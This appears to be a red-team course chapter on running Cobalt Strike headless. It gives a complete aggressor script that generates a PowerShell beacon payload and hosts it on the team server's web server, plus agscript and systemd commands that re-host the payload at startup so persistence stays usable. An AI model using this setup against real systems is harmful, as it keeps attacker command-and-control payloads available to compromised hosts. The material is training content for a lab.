Headless Cobalt Strike

In a previous chapter, we configured the Cobalt Strike team server to start automatically via a service. When the team server starts the listeners we had running are started, but any hosted files we had (e.g. via the scripted web delivery) will not be. This presents a problem for these persistence mechanisms, as they're relying on a hosted payload being present. For the RTO lab in particular - the hosted payload must be available before persistence tasks are triggered for them to be of any use.

One solution is to use a headless Cobalt Strike client via the agscript utility, to execute an aggressor script on launch. The syntax is: agscript [host] [port] [user] [password] [/path/to/script.cna]. The aggressor script itself can use the artifact_payload and site_host functions to both generate a payload for a listener and host it on Cobalt Strike's web server.

Begin by creating host_payloads.cna.

attacker@ubuntu ~/cobaltstrike> vim host_payloads.cna

\

Cobalt Strike has various events that we can react to inside aggressor. The ready event fires once the current CS client is connected to the team server and has finished synchronising data. This is important to wait for, otherwise the client will not have information about the running listeners, etc.

# Connected and ready
on ready {

    # Generate payload
    ...

    # Host payload
    ...
}

\

artifact_payload takes 3 arguments:

  • Listener name.

  • Payload type.

  • Payload architecture.

\

Generating an x64 PowerShell payload for our HTTP listener is as simple as:

$payload = artifact_payload("http", "powershell", "x64");

Strings must match exactly.

\

site_host takes 7 arguments:

  • Local IP address of the server.

  • Port number to host on.

  • The URI.

  • File content.

  • Mime-type.

  • A friendly description.

  • Use HTTP or HTTPS.

\

To host $payload under the /a URI, we can do:

site_host("10.10.5.50", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);

\

The complete script:

# Connected and ready
on ready {

    # Generate payload
    $payload = artifact_payload("http", "powershell", "x64");

    # Host payload
    site_host("10.10.5.50", 80, "/a", $payload, "text/plain", "Auto Web Delivery (PowerShell)", false);
}

\

Time to test the script:

attacker@ubuntu ~/cobaltstrike> ./agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna

\

You will see the associated events in the Event Log:

*** headless has joined.
*** headless hosted Auto Web Delivery (PowerShell) @ http://10.10.5.50:80/a

\

And the payload will also be hosted.

\

We can add this to our existing start up service by including a ExecStartPost line.

ExecStartPost=/bin/sh -c '/usr/bin/sleep 30; /home/attacker/cobaltstrike/agscript 127.0.0.1 50050 headless Passw0rd! host_payloads.cna &'

Last updated